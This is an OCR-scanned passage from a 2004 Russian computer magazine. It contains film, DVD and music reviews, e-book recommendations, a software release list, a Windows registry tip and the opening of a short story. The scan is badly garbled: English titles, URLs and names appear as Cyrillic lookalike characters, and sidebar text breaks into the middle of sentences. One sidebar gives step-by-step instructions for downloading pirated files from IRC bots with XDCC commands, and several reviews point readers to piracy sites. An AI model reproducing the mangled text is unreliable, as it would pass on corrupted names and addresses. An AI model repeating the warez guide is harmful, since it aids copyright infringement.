фильмом Буш получает публичную порку 
за отказ ужесточить контроль выбросов в 
атмосферу. Ребята, Сгеепреасе-страсть 
давно уже прошла, это не тенденциозно... 
Если выключить в мозгу линию морализа- 
торства и не ожидать суперигры актеров, 



уйти целиком в спецэффекты - проведешь 
за просмотром 2 качественных часа. 



«КПРПТЕПЬ» 

(ТНЕРІЛІІ8НЕН) 

Мировая премьера: 16.04.04 
Премьера в ПІІ: 22.07.04 
В ролях: Томас Джейн/Джон Траволта/Ребекка 
Ромин Стамос 

Режиссер: Джонатан Хенслейт 




Фильм очевиден до безобразия. Бывший 
чекист собирается жить как простой пацан, 
с жинкой и сынкой. Не тут-то было! Тем- 
ное прошлое начинает преследовать и уби- 
вает семейство. Понятное дело, пацан те- 
перь должен расквитаться с подонками. В 
подонке скрывается главный и, пожалуй, 
единственный приятный сюрприз фильма 
- Джон Траволта. Не считая ранней роли в 
«Прорыве», у Траволты лучше всего полу- 
чаются сладкие подонки - «Без лица», 
«Криминальное чтиво», «Пароль рыба- 
меч». Нынешняя роль напоминает как раз 
о культовом «ЗѵѵогсІІізб»: он гламурный 
олигарх, сожительствующий с топовой те- 
тей в топовом замке. Красивые картинки 
выписаны на основе одноименного комик- 
са. Был целый ряд коммерчески успешных 
фильмов, снятых по комиксам («Человек- 
паук», «Люди Икс»). Это уже вторая попыт- 
ка переложить комикс «Каратель» на ки- 
нопленку. Первая случилась в 1989 с учас- 
тием Дольфа Лундгрена и, несмотря на 



прошедшие годы, была лучше последней. 
Томас Джейн слаб в своих актерских дви- 
жениях и был выписан парой Траволте, 
очевидно, из-за успешного опыта «Без ли- 
ца», где они уже дополняли друг друга. 
Почти все кинокомиксы имеют продолже- 
ние. Надеюсь, что этот станет исключени- 
ем. Зачем ехать на другой конец Москвы в 
гермозону провайдера за фильмом, лучше 
бы прошелся до метро и купил комиксы 
«Дональд Дак и Микки Маус»! 

«Ф0РТПППМ0» 

(ТНЕПЕПМ0) 

Мировая премьера: 09.04.04 
Премьера в ПІІ: 01 .07.04 
В ролях: Деннис Куэйд/Билли Боб 
Торнтон/Эмилио Эхеваррия 
Режиссер: Джон Сэйлс, Джон Ли 
Хэнкок 




АІ.АМО 



Аламо - священное место для амеров, 
сродни нашему Сталинграду. Место знако- 
вое, где в 1836 году Техас получил незави- 
симость от Мексики. Исторические фильмы 
сейчас повсеместны («Троя», «Король Ар- 
тур», «Последний самурай»), задают струю 
индустрии. Лента выходит сильно урезан- 
ной: 2 часа вместо оригинальных трех, 
вместо запланированного Рассела Кроу - 
более экономичный Билли Боб Торнтон. 
Последний очень неплохо справляется с 
полученным образом; это похоже на его 
лучшую роль после сыгранного - сожителя 
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І.ЕЕШСВЕЖПЯ Ш0НЕ2-К0 



Анжелины Джоли. В главной роли Куэйд, 
который почти одновременно появляется и 
в «Послезавтра». Антиамериканские наст- 
роения слишком сильны в Европе, чтобы 
просто показать национальную победу. Для 
оправдания захвата чужой земли на по- 
мощь приходит отличный характер - мек- 
сиканский диктатор, который очень сочно 
прорисован колумбийцем из «Кокаина» и 
«Плохих парней-2». Его ненавидит 
собственный народ; получается, что амеры 
махаются не за власть, а лишь освобожда- 
ют угнетенных! Операторская работа очень 
хороша, одного вида хватает, дабы понять, 
что же случится дальше. Каждый кадр про- 
питан настроением. Если тебя вставило от 
«Хозяина морей» с Расселом Кроу, то и 
здесь все будет в шоколаде. Если же ты 
холоден к Америке в целом, то вряд ли 
разделишь восторг со знаменитым урожен- 
цем Техаса. Если бы не было Сербии в 
1999 и Ирака в 2003, фильм бы нашел 
большее понимание у россиянина. 



«УБИТЬ БИППП 2» 

(кіи віи Ш.2) 

Мировая премьера: 1 6.04.04 
Премьера в ПІІ: 17.06.04 
В ролях: Ума Турман/Дэвид 
Кэррадайн/Люси Лиу/Майкл Мэдсен 
Режиссер: Квентин Тарантино 




Второй год я негодую. Второй год Голли- 
вуд обижает вниманием мою Родину. По- 
чему у нас фильмы показывают в кино поз- 
же, чем в Америке? На ранних стадиях 
прокат стоит дороже. Прокатывая фильм 
позже, когда оно дешевле, прокатчик стал- 
кивается с другой проблемой - пират- 
ством. Если фильм известен публике, то 
люди запрашивают и покупают его на лот- 
ках. Посему «Гарри Поттер» и «Человек-па- 
ук» у нас появляются в тот же день, что и 
за морем. Что же прокатчики думают, что 



0Ѵ0-ПІР8 



Тебе не надоело покупать 
у пиратов ЭѴЭ, качество 
которых ниже, чем при 
прокрутке заезженной 
кассеты на «Электрони- 
ке»? Меня это тоже доби- 
ло, и я стал покупать диски 
лишь тогда, когда в Аме- 
рике выходит официаль- 
ный ЭѴЭ с фильмом. Толь- 
ко тогда это будет настоя- 
щий ДВД со всеми допол- 
нительными темами, вро- 
де биографий актеров, 
трейлеров и кадров со съ- 
емочной площадки. После 
официального выхода 
можно будет найти и 1 00% 
чистые ЭѴЭ-гірз в Сети по 
нужному фильмаку. Итак, 
наиболее значимые рели- 
зы ближайшего будущего. 

«Спайдермен против 
Доктора Ока» 
(5рібег-Мап Ѵз. Рос Оск) 

Дата релиза: 29.06.04 
Мультфильм 

«Эффект бабочки» 

(ТИе ВиНеііІу ЕТСес*) 

Дата релиза: 06.07.04 
В ролях: Астон Кутчер/Мэ- 
лора Уолтерс 
Режиссер: Эрик Бресс 



«50 первых поцелуев» 
(50 Рігз* Эаіез) 

Дата релиза: 15.06.04 
В ролях: Дрю Бэрри- 
мор/Адам Сэндлер/Роб 
Шнайдер 

Режиссер: Питер Сигал 

«Супер Марио - Марио- 
мания» (Зирег Магіо Вгоз - 
Магіо Мапіа!) 

Дата релиза: 06.07.04 
Мультфильм 

«Агент Коди Бэнкс 2» 
(Адепі Собу Вапкз 2: 
Ьезііпаііоп І_опбоп) 

Дата релиза: 13.07.04 
В ролях: Фрэнки Му- 
ниц/Энтони Андерсон 
Режиссер: Кевин Аллен 

«Тайное окно» 

(Зесгеі ѴѴіпбоѵѵ) 

Дата релиза: 22.06.04 
В ролях: Джонни 
Депп/Джон Туртурро 
Режиссер: Дэвид Коэпп 

«Холодная гора» 

(Соіб Моипіаіп) 

Дата релиза: 29.06.04 
В ролях: Николь Кидман/ 
Джуд Лоу/Рене Зеллвегер 
Режиссер: Энтони Мин- 
гелла 



мы не знаем про КВ ѵоі.2? После этого 
должно ли быть стыдно за покупку пиратс- 
кой темы? Фильм получает самую высокую 
оценку обзора; лишь его актерский состав 
и самого режиссера я мог воспроизвести 
по памяти. Тем временем Ума продолжает 
мстить, подучивается у сморщенного кунг- 
фу-перца. В ходе поисков понимает: ее 
собственный бывший сожитель оказался 
организатором кровавой расправы из пер- 
вой серии! Как и прежде, каждая деталь 
выписана великолепно! Ума разбивает 
сердца миллиона мужчин. Квентин, как ни 
один другой режиссер, сумел зажечь звез- 
ды второго эшелона. Собравшись и увен- 
чавшись звездной Умой, команда выдает 
добротный материал на выходе. Перед 
просмотром лишь одно одолжение: не пы- 
тайся понять смысла фильма; попытав- 
шись, не говори о его отсутствии. Удо- 
вольствие в деталях! 



«разрыв» 

(ІЫТЕНМІ88І0№ 

Мировая премьера: 1 9.03.04 
Премьера в ВІІ: 08.07.04 
В ролях: Колин Фаррел/Келли 
Макдональд 

Режиссер: Джон Кроули 




ІПЙБГМІЗЗІ ОІ 



Фильм об ирландской пацанве, реальных 
базарах и реальных темах реальных паца- 
нов. От чела уходит девушка к банкиру; 
тут же другой чел планирует заличить лавэ 
у того самого банкира. Фильма не было 
бы, если бы первый чел не встретил вто- 
рого... Тут уже начинается жара, которая 
отличнейшим образом прорисовывает все 
детали провинциального быта. Роль в ис- 
полнении Колина Фаррела отлично совпа- 
дает с тем образом, что ему дарят газеты 
- хулигана, задиры, жигана. К сожалению, 
повествование ведется не только о нем 
одном; получается немного не в фокусе. 
Глядя на экран, так и хочется сказать: это 
фильм о нас! Пусть мы не гопники и не 
сосем пивко в «конторе» или подвале. Од- 
нако видеть со стороны подобные образы 
приходилось неоднократно. Не менее точ- 
но высечены и другие характеры: дружин- 
ник-доброволец, вечно брошенная девуш- 
ка, чемпион по аутсайдерству. Потеряв на 
минутку понимание из-за вязкого ирлан- 
дского акцента, начинаешь называть геро- 
ев знакомыми именами - Гоша, Серый, 
Юран, Ванек, Вафля. Нечто похожее было 
в «Свадьбе» и «Копейке» от отечественно- 
го производителя. 





«ИЗ 1 3 В 30/МЕЧТП СБЫВПЕТСЯ» 

из сото он зо) 

Мировая премьера: 1 9.03.04 
Премьера в ВЦ: 08.07.04 
В ролях: Дженифер Гарнер/Джуди 
Грир/Марк Руффало 
Режиссер: Гарри Виник 




Из кого вырастают лучшие родители? Да, 
из тех, кто носился с молотком за кошками 
и стрелял в голубей из арбалета! Из кого 
вырастают самые жесткие руководители? 
Да, из абсолютных тихонь и ботаников. В 
этом фильме чудесное превращение каса- 
ется 13-летней девочки, которая задержи- 
вается в половом развитии и абсолютно не 
пользуется популярностью у одноклассни- 
ков. На собственном же ДР ее запирают в 
шкафу. Она загадывает желание стать бе- 
зумно популярной и востребованной. Же- 
лание сбывается, и она телепортируется в 
будущее, в шкаф своих шикарных манхэт- 
тенских апартаментов. Ей 30, карьера вых- 
лапывает, героиня нарасхват: все ее штор- 
мят - по работе и в личном... Несмотря на 
поклонение культу дігі’з роѵѵег, она пони- 
мает - без мужика никуда. Начинает поис- 
ки своего единственного друга из отроче- 
ства. Будет ли любовь? Фильм донельзя 
заточен на женскую аудиторию. Аудиторию 
амерскую. У нас же редкая женщина смо- 
жет, наедине сама с собой, назвать 
счастьем бытие «старой девы», даже с ва- 
гоном налички и РауРаРаккаунтом на сотни 
тыщ. Надо посмотреть лишь трейлер 
фильма, чтобы вникнуть в суть вещей. 

Суть та же, что и в «Чумовой пятнице» или 
«Большом» с Томом Хэнксом. По этому же 
фильму складывается, что создатели для 
подпитки чудо-телепорта сами переметну- 
лись из 30 в 13. Хотя я бы и в 13 не риск- 
нул продать массам подобную баналь- 
ность... 

«ДУРНОЕ В0СПИТПНИЕ» 
(ВПОЕОІІСПТІОН/ІПІШПЕОІНЖІ) 

Мировая премьера: 19.11.04 
Премьера в ПІІ: 24.06.04 



фіітіірііст!і но зяметку: кякое кино ждать? 



«Вышибалы» 

(ОобдеЬаМ: АТгие 
Ііпсіегсіод 5*огу) 

Мировая премьера: 

18.06.04 

Премьера в РІІ: 09.09.04 
В ролях: Бен Стил- 
лер/Винс Вон 
Режиссер: Роусон Мар- 
шалл Тамбер 

«Ночной дозор» 

Премьера в РІІ: 05.08.04 
В ролях: Константин Ха- 
бенский/Владимир Мень- 
шов/Галина Тюнина 
Режиссер: Тимур Бек- 
мамбетов 

«Человек-паук 2» 
(Зрісіег-Мап 2) 

Мировая премьера: 

02.07.04 

Премьера в РІІ: 02.07.04 
В ролях: Тоби Мэгу- 
айр/Кирстен Данст/Ди- 
лан Байкер 
Режиссер: Сэм Рейми 

«Король Артур» 

(Кіпд АгИніг) 

Мировая премьера: 

07.07.04 



Премьера в РІІ: 19.08.04 
В ролях: Клив Оуэн/Кэйра 
Найтли/Стивен Диллэйн 
Режиссер: Антуан Фьюкуа 

«Я робот» 

(I КоЬоІ) 

Мировая премьера: 

16.07.04 

Премьера в РІІ: 05.08.04 
В ролях: Уил 
Смит/Джеймс Кромвель 
Режиссер: Алекс Прояс 

«Превосходство Борна» 
(ТИе Войте Зиргетасу) 

Мировая премьера: 

23.07.04 

Премьера в РУ: 02.09.04 
В ролях: Мэтт Дей- 
мон/Франка Потенте 
Режиссер: Пол Грингрэсс 

«Женщина-кошка» 

(Саіѵѵотап) 

Мировая премьера: 

23.07.04 

Премьера в РІІ: 28.10.04 
В ролях: Халли Бер- 
ри/Шэрон Стоун/Лам- 
берт Уилсон 
Режиссер: Питоф 



В ролях: Гаэль Гарсиа Бернал/Феле 
Мартинез/Леонор Ватлинг 
Режиссер: Педро Альмодовар 




Наконец-то заморские братья почувствуют 
себя в нашей шкуре: фильм легендарного 
испанца придет в США на 5 месяцев позже 
Москвы!.. Понятное дело, еЭопкеу и ІРС 
уже кишат экранками (зсгеепег’ами) с Кан- 
нского кинофестиваля, который был отк- 
рыт «Дурным воспитанием» в текущем го- 
ду. Выбор фестиваля не случаен: Альмодо- 
вар - это бренд, под ним можно прода- 
вать любое концептуальное кино - оно 



станет успешным. Каков запас прочности, 
сколько голимых фильмов может позво- 
лить себе мастер? Этот вопрос сейчас не- 
актуален, т.к. «Дурное воспитание» получа- 
ется отличным! Мастер играет с огнем, 
представляет гомосексуальность как часть 
природы человека; дает довольно сложный 
сюжет; пробует себя как участника саун- 
дтрека к фильму. По сюжету, к режиссеру 
приносят сценарий, который точно описы- 
вает детство режиссера в католической 
школе 60-х годов. Режиссер берется за съ- 
емку и рассказывает историю о двух моло- 
дых людях, состоящих в гомосексуальной 
связи. Режиссер же настоящий, сам Аль- 
модовар, признается, что от фильма к 
фильму становится серьезней и печальнее. 
Понятно, в комедийном жанре творец не 
замечен, но его печаль слишком заразна: 
мувик вырывает из привычного ритма, на 
минутку заставляет ждать твоего собствен- 
ного сценариста, который принесет бумагу 
о самых темных временах... Фильм не ре- 
комендуется для первого знакомства с 
мастером. «Все о моей матери» или «Пого- 
вори с ней» выглядят более выигрышно - 
там чуть меньше экстрима. 



ОУДИО ШППЕ2-КП 

05ЫШВІШПН.2» 



Обозревать саундтрек к фильму - все рав- 
но что описывать звуки глушителя автомо- 



ЕЕЕСН\СВЕЖПЯ ШПКЕ2-КП 



НОВЫЕ И ЛУЧШИЕ Е-КНИГИ. 
МЯКСИМ МОШКОВ РЕКОМЕНДУЕТ! 



Эдгар Райс Берроуз. 

Боксер Билли 

ѵѵѵѵѵѵ. ІІЬ. ги/ШРРЮ2/ВЕВК 

СШ2_В/Ьохег.ад 

Берроуз - он и есть 
Берроуз. Это не тот, 
который неугомонный 
фантаст, а знатный 
разрушитель 
американских устоев и 
любитель ненормативной 
лексики. 

Олег Михайлович 
Блоцкий. 

Последний поход 
ѵѵѵѵѵѵ. ІІЬ. ги/ІЧ ЕѴѴРК02А/В 
І_ОСКи_0_М/розІесІпц_р 
оЬосІ.М 

Казалось, Олег Блоцкий за 
буднями политической 
журналистики успел 
позабыть о своем военном 
прошлом. Здесь же 
передается привет из 
афганского прошлого. Про 
войну. На любителя. 

Михаил Веллер. 

Ящик для писателя 
ѵѵѵѵѵѵ. ІІЬ. ги/ѴѴЕІ_І_ЕВ/г_уа 
зЬік.М 

Каково оно - жить и 
издаваться современному 
труженику пера? Это 
лучше всего знает 
раскрученный писатель. 

Виктор Леденев. 
Вьетнамский коктейль 
ѵѵѵѵѵѵ. ІІЬ. т /ПІІЗЗЭЕТЕК- 
ТІѴѴ/БЕОЕМ ЕѴѴѴѴ/ѵіеТЗ 1 .М 

Тридцать пять лет назад 
Виктор Леденев попал во 
Вьетнам в отряд 
Технической разведки. По 
полученному живому 
опыту написан этот 
приключенческий боевик. 

Сергей Кузнецов. 

Г роб хрустальный 
ѵѵѵѵѵѵ. ІІЬ. т /ВІІ55 0ЕТЕК- 
ТІѴѴ/КІІ2МЕСОѴѴ5/дгоЬ.ѣсІ 

В свете нынешней борьбы 
с наркоманией, проза 
Сергея Кузнецова может 



показаться слегка 
двусмысленной. 

Илья Беляев. 

Острие Кунты 

ѵѵѵѵѵѵ. I і Ь. ги/ІІ К ІКОѴА/5АМ 

ТЕМ/КІІМТА/кипІа.М 

Некое новое 
эзотерическое учение. 

Олег Дивов. 

К-10 

ѵѵѵѵѵѵ. ІІЬ. ги/КОРАМТ/ОІѴѴ 
ОѴѴ/кЮ.Іх* 

Фантастику сейчас у нас 
почти никто не умеет 
писать. Но Дивов - растет 
от произведения к 
произведению. Веселая 
повесть. 

Стивен Хантер. 

Сезон охоты на людей 
ѵѵѵѵѵѵ. ІІЬ. ги/ОЕТЕКТІѴѴѴ/Н 
АМТЕВ/зпірегЗ.Іх* 

Стивен Хантер - снайпер 
по жизни, и, похоже, 
только про снайперов и 
пишет. Кино "Снайпер" 
помнишь? Угадал, кто 
писал сценарий? Это - как 
бы продолжение. 

Юлий Марголин. 
Путешествие в страну зэ-ка 
ѵѵѵѵѵѵ. ІІЬ. ги/МЕМІІАВѴ/М 
АВС0ЬІМ/Ри*езЬез1ѵіе_ѵ 
_з*га п и_ге - ка . Ш 
Это мемуары. Название 
говорит само за себя. 

Ларри и Энди Вачовски. 
Матрица /первоначальный 
сценарий/ 

ѵѵѵѵѵѵ . I і Ь . ги/І N О РАІЧТ/ѴѴА 
МСНОѴѴЗКІ/таТгіса.М 

Вообще-то я бы 
предпочел этот сценарий 
в переводе Гоблина ;). 

Алекс Экслер. 

Записки невесты 

программиста 

ѵѵѵѵѵѵ. ІІЬ . ги/АМ ЕКООТУ/Е 

ХІ_ЕВ/ѵѵіЕе.М 

Экслер в представлении 

не нуждается. 




биля. Первое невозможно представить без 
второго. Так и здесь, относительно филь- 
ма, получается нечто бесформенное, по 
неясной логике скомпиленное. Однако зри- 
тели «КіІІ ВіІІ 2» надолго прописывают СО в 
свои авто МРЗ-магнитолы. Как бывает, 
лишь пара мелодий действительно напоми- 
нают о фильме. Остальное - просто забав- 
ные, глумливые звуки. Если не смотрел 
фильм, слушать диск смысла нет вовсе. 



8ЫРКЫ0Т «ШН.З ТНЕ 8ШІМІІШ ІІЕН8Е8» 

Стиль: хард-рок/альтернатива 




Пацаны с трЗзеагсІш обогнали даже амерс- 
кий атагоп.сот, предложив диск для скачки 
неделей раньше. Из названия альба понят- 
но, что диск уже третий в репертуаре ко- 
манды. Заморские слушатели называли их 
творчество «Музычкой для подонков». 
Вполне понятно, волна повального увлече- 
ния «падонками» прокатила уже 2-3 года 
назад. ЗІіркпоЕ прочухал тему и заметно 
преобразил звук. Если слушать альбом в 
хорошем настроении, узнаешь самое луч- 
шее из творчества Рапіега начала 90-х. Ес- 
ли же голимо, то ты просто не узнаешь 
старой команды: контент стал порядком 
более попсовым. Так было с МеТаІІіса и 
диском БоасІ. Если же не запариваться с 
переходом от жесткого металла к хорошо 
продаваемому хард-року, прослушаешь 
добротный, грамотно собранный диск. Од- 
нако, «больше треша и угара» тут никак не 
получается. 

ГРУВ «СЛУЖЕБНЫЙ РОМОН» 

Стиль: хаус/поп 




С известным «ДЖ» я познакомился, когда 
сосед царапал на парте новое имя вместо 
привычных МеІаІІіса, «Гр. Об» и «ЗІауег». 
Потом звонил знакомым девочкам и вклю- 
чал «Ноктюрн», безотказно добиваясь го- 
товности к дальнейшему петтингу. Тогда 
Грув был отчаянной альтернативой, отри- 
цаловом попа со своим «не играю на ком- 
пакт-дисках». Сейчас же выходит скучней- 
ший материал, который мы где-то уже слы- 
шали: да-да, трек «Собака Баскервилей» 
все помнят не хуже последней «Бригады» 
Триплекса. Музыкант старается сделать 
нечто новое из «Кино», что также уже было 
сотворено прежде - в полновесном альбо- 
ме Цоя-ремиксов. 03 прибивается к до- 





вольно широкой группе - воскресителей 
«стиля 90-х», времен главных его творчес- 
ких успехов. Если ты с ними, качай только 
заглавный трек, чтобы не испортить впе- 
чатление другими начинаниями. 

МЕТН00МПМ«ТШ0:ШРНЕ1Щ» 

Стиль: хип-хоп 




Чем сильнее любовь слушателя, тем боль- 
ше ожиданий от нового творения. Меіб ра- 
ботает для той самой любвеобильной ауди- 
тории: альбом давно ждали и желали. В 
первые же дни после выхода форумы заби- 
лись негативными телегами по теме ТісаІ 0. 
Постепенно альбом попадает и к слушателю 
менее экстремального толка. Здесь уже за- 
мечается качественная работа целого бір- 
бор коллектива - Міззу ЕІІіоІ, Визіа Вбутез, 
Вебтап и Зпоор Эод. Для полного комплек- 
та не хватает лишь вездесущего 50 Сепі. 
Меібобтап склонен доминировать в дуэтах, 
так что даже подавляет обширную Міззу 
ЕІІіоІ Схожая ситуация во всех 14 «группо- 
вых треках», сольных здесь всего 3. Многие 
ценят подобного рода музыку за душещипа- 
тельные тексты. Здесь как-то не очень щип- 
лется; это не Етіпет и не «Сеі Вісб ог Оіе 
Тгуіп». Альбом необходимо иметь слушателю 
афро-американских мотивов. Остальным - 
увольнительная. Толику внимания также вы- 
писывает свежий кинофильм «ЗоиІ РІапе», 
где успел засняться и поучаствовать в 05Т 
- Меібоб Мап собственной персоной. 



8С0НРІ0Ы8 «ІМВНЕПКПВЕЕ» 

Стиль: рок/хард-рок 




I I 



Германские «Скорпы» потерялись. Подрас- 
тающее поколение их почти не знает. Мы 
просидели в яслях массовые восхищения 
по «ѴѴіпб оі Сбапде». Взрослые поклонники 
команды также не жалуют группу чрезмер- 



80НИЯВЕ2 




Несколько заметных 
релизов и бета-версий, 
которые можно найти на 

ЕіІеіогит.ЬеІапеѵѵз.сот 

или заказать на дисках в 

ѵѵѵѵш. Ьаски рз . ссі . 

МісгозоЙ КеуЬоагб 1_ауоіД 
Сгеаіог 1 .3.4073 
ѴІЧС Рог ѴѴіпбоѵѵз 4.0 ВеТа 5 
Ребога І_іпих Соге 2 
ІСО ите 4.01 Виііб 1668 
МогіІІа Тог Ыпих 1 .7 ВС2 
Орега Тог Ыпих/ѴѴіпбоѵѵз 
/Мае 03X7.5 



РІазбіРХР 3.0.0.996 РС1 

ОрепОТТісе.огд Тог Ыпих 

1.1.2РС2 

Ыокіа РС ЗиіТе 6.1 

ВеОеТ Эеіихе 4.0.208 

ОеТВідбіТ 5.2 ВеТа 1 

еМиІе 0.42д 

Тіпу РегзопаІ РігеѵѵаІІ 

5.5.1332 

ЫеТЗТитЫег 0.4.0 
ТоТаІ Соттапбег 6.03а 
Мігапба ІМ 0.3.3. 1 
ЕШегеаІ 0.10.3 
І_АМЕ 3.97 



ным вниманием, они привыкли к тому, что 
музыка сама их настигает - по радио в ма- 
шине, в плеере сына, по телеку на кухне... 
Последние же годы группа вписалась в глу- 
бокий подпол. Знаменитый ВіІІЬоагб чарт 
не соизволил прописать долгожданный СО 
сразу после выхода. «ОпЬгеакаЫе» вряд ли 
станет главной темой разговоров за пив- 
ком, однако в нем собран неплохой, зре- 
лый материал. Переигрывается тот самый 
«ѴѴіпб оТ Сбапде», привносится совсем не 
старческий задор гитарных запилов. Зака- 
чав добро с трЗзеагсб.ги, я заболванил диск 
сразу куче корешей-подельников. Ни у кого 
не обнаружилось любви с первого взгляда. 
Чтобы вникнуть в тему, диск надо крутить 
много раз. 

8МР «Р01ИІЕН ОЕ 8ИІПР: ОВІСІШ НІТ8 8 
НЕНІХЕ8» 

Стиль: электроника/диско 



Диск непростой, хоть и не золотой, но 
двойной! На первом диске - ремиксы. На 
втором также ремиксы, но менее ядреные, 
и сами оригиналы творчества легенды дис- 
котек - Зпар! Вряд ли кто-то вспомнит их и 
Тесбпоігопіс. Хотя тогда, 10-15 лет назад 
только паралитик мог удержаться от танца. 
Музыка ластиком стирает десятилетие: ты 
не запарен взломом очередного Сізсо 
СаІаІузГа, комп нужен, лишь чтобы сыграть 
в ѴѴоІІ 30. На свидания носишь в кармане 



’ Ш 




жвачку Кізз, а не презервативы и мирамис- 
тин... Диск с ремиксами не столь выдаю- 
щийся, из именитых работников выделяется 
лишь Ргадта. Странно, Зпар, несмотря на 
свою 100% поп-суть, дали старт целому по- 
колению электронных музыкантов. Уж мог 
бы кто-то из них, ставших ныне большими 
пузатыми дядьками, добровольно вызваться 
на замес хрестоматийных треков. 

пипіипиіенЕ«ішЕШ8кмі» 

Стиль: рок/поп 



В день выхода диска я сразу же ломанулся 
на КеІахесІІКС.пеІ в поисках темы. Ни разу я не 
видел столь огромных очередей! Обычно да- 
же самые хитовые альбомы приходится 
ждать лишь пару часов, пропустив 5-10 чело- 





ИЕСН\СВЕЖПЯ ШПКЕ2-КП 



как качать ворез с іпс? 




Чтобы качать варез, нуж- 
но поставить ІРС-клиент. 
Много лет отлично рабо- 
тает тІРС 

(ѵѵѵѵѵѵ.тігс.сот). Потре- 
буются минимальные 
настройки для принятия 
файла в разделе БСС 
(кнопка Орііопз - папка с 
молотком). 




Сначала надо выбрать 
сеть, откуда качать доб- 
ро. Я предпочитаю 
ігс.геІахесІІКС.пеі: там 
есть почти все, что акту- 
ально по теме. 

Дальше нужно выбрать 




подходящий канал. В ва- 
рез-сетях полно специ- 
альных каналов. Их мож- 
но найти, вбив команду 
/Іізі. На самом верху бу- 
дут отображены основ- 
ные каналы. 




Вписываемся в канал, на- 
бив /\6\ѵ\ #канал. И сразу 
же смотрим, что нам нуж- 
но. Боты выкидывают 
списки размещенного 
добра. Большинство бо- 
тов запрещают прямой 
запрос списка вареза че- 
рез /сіср НИКБОТА хбсс 
Іізі, так что приходится 
ждать анонсов в канале. 




Найдя необходимое, да- 
ем обращение к боту. 
Вместе с анонсами будет 
дан и формат обращения 
(запрос на варез). Однако 
в 99% случаев он иденти- 
чен /сіср НИК БОТА хбсс 
зепб #Номер пака или 
/тзд НИК БОТА хбсс 
зепб #номер пака. Бот 
может послать добро сра- 
зу или поставить в оче- 
редь (циеие). Ждать при- 
ходится от 5 минут до 5 
дней. Чем свежее варез, 
тем дольше ожидание. 
Пошло-поехало! Боты - 
это не коммерческий хос- 
тинг; никто не дает каче- 
ства гарантии связи, кон- 
нект может упасть в лю- 
бую минуту! Тогда можно 
будет запросить пак сно- 
ва, закачка продолжится. 
Если ты на біаі-ир’е, то 
проблемы могут быть и 
из-за низкой скорости: 
ряд ботов требуют мини- 
мальной скорости скачки 
(5-10 К/с), чтобы не засо- 
рять очереди. 




век вперед. Здесь же были десятки! Настояв- 
шись своего в постсоветские времена, отка- 
зался от очередей и с комфортом все нашел 
на трЗзеагсб.ги. Неужели героиня поллюцион- 
ных снов выпустила нечто гениальное? Если 
признать все простое - гениальным, то да, 
это очень хорошая работа. Если же от музы- 
ки требовать чего-то действительно нового, 
без повторения пройденного, здесь вряд ли 
отыщется талант. Каждая песня содержит ди- 
рективы на противостояние серым будням, 
на бунт, «быть против». Наверное, очень ком- 
фортно бунтовать, когда твой прошлый СР 
был продан в 14 миллионах экземпляров. 



Вслушиваясь в тексты, ощущаешь себя подо- 
пытным кроликом, на котором тестируют: а 
схавает ли он это? А если здесь приложить 
побольше сленга, посоветует ли он купить 
диск своему однокашнику? Вообще-то не мы 
должны платить за прохождение маркетинго- 
вых тестов, а нам полагается баблос! Аврил, 
дорогая, когда ждать вайера, денежного пе- 
ревода за прослушку? 



РПІМЕ88 «N0 Н00Т8» 

Стиль: хаус/электроника 




Восхищаясь фразой «СосІ Із а от Ріпк, не 
забывай, что именно ЕаіІЫезз продвинули ее 
в массы с альбомом 98 года. До нынешнего 
момента группа отдувалась суперхитом ѴѴе 
Соте 1 . Сейчас же время пришло для насто- 
ящей работы. Англия является общепризнан- 
ной хозяйкой хауса. Однако сыны ее, вроде 
СбетісаІ Вгоіііегз и ІІпбепл/огІсі почивают ны- 
не на лаврах, издавая антологии и проигры- 
вая старый материал на Сгеатііеісіз. РаііЫезз 
отдувается за всех! Они сотрудничают с Дэ- 
видом Боуи и, как было прежде, Рісіо, кото- 
рая приходится сестрой промоутеру 
РаііЫезз. Альбом звучит свежо, хотя корни 
вдохновения уходят во все те же 90-е - 
Р50Ц Віозрііеге, ОгЬ. Понятно, что основой 
остается все тот же добротный іюизе, но 
вкрапления в стилистике указанных команд 
- очевидны. 



ТХРЗРТРХСНіЭ 



Хочешь увидеть свои советы в журнале? 
Присылай их на адрес 8кІуагоѵ@геаІ.хакер.ги. 
Ведущий рубрики Тірз&Тгіскз Иван Скляров. 



л Если ты хочешь видеть версию и номер сборки твоей 
форточки (в нижнем правом углу Рабочего стола), то 
проделай несложную операцию: Пуск -> Выполнить -> 
гедебіі. В разделе НКЕѴСІШЕИШЕК\СопІгоІ 




Рапеіфезкіор создай ключ (если его нет) типа 6ѴѴ0К0 
РаіпШезкіорѴегзіоп и присвой ему значение 1. 



№К 

пікЬеа5І@таіІ.ги 



129 







часть 5 






класс 



мания. 

шьютерныи 

А А 3 



Анна была полностью увлечена своим проектом. На 
экране постепенно вырисовывалась модель ма- 
ленькой девочки, которую она про себя назвала Г аб- 
риэлой. Большие глаза, светлые волосы, розовое 
платьице, заколка в виде бабочки, башмачки и бе- 
лые гольфики до колен. Пока Габриэла была немно- 
го угловатой, нужно было доделать несколько дета- 
лей. Но на экране была девочка, и спутать ее с чем- 
то другим было нельзя. 

Анна сама предложила тему. На выбор давались мо- 
дель астронавта, супермена или собаки, но ей захо- 
телось нарисовать именно маленькую девочку. Анна 
всегда хотела иметь младшую сестренку. 
Компьютерный класс насчитывал более 40 компью- 
теров, практически все они были заняты студентами. 
Каждый занимался выполнением своего задания. 
Рядом с ней сидел Томми - чернокожий восемнад- 
цатилетний мальчик, который вырисовывал пирата. 
Анна ничуть не удивилась, она была уверена, что ро- 
дись Томми тремя веками раньше, он на самом деле 
стал бы корсаром. Такого необузданного и неуго- 
монного парня не было больше во всем Гумбольдте. 
- Как ее зовут? 



Эта совершенно неожиданная надпись появилась в 
отдельном окне. Внизу мигал курсор, приглашая на- 
печатать ответ. Анна посмотрела на Г ехарда - адми- 
нистратора класса, который сидел за админской ма- 
шиной. В этот момент он распечатывал стопку ка- 
ких-то бумаг. Ничего не выдавало в нем человека, 
который желает початиться с одной из студенток. 
Одногруппники тоже не обращали на нее никакого 
внимания. 

- Эй. Ты там? - возникла новая надпись на экране. 

- Да, - напечатала Анна. 

- Как зовут эту девчонку? 

Анна смотрела на экран и ничего не понимала. Если 
не админ, кто тогда разговаривает с ней? И как ему 
удалось увидеть, чем она занимается последние 
полтора часа? Тем не менее, девушка решила под- 
держать разговор. 

- Габриэла. 

Курсор на мгновение застыл, но затем снова стал 
торопливо набивать текст. 

- Мне кажется, у нее слишком большие глаза. Это 
анимешная девочка? 

- Нет. У маленьких девочек всегда большие глаза. 
Анна еще раз осмотрела класс и, наконец, спросила: 

- Кто ты? 

- Избранный :). 

- Поклонник «Матрицы»? 

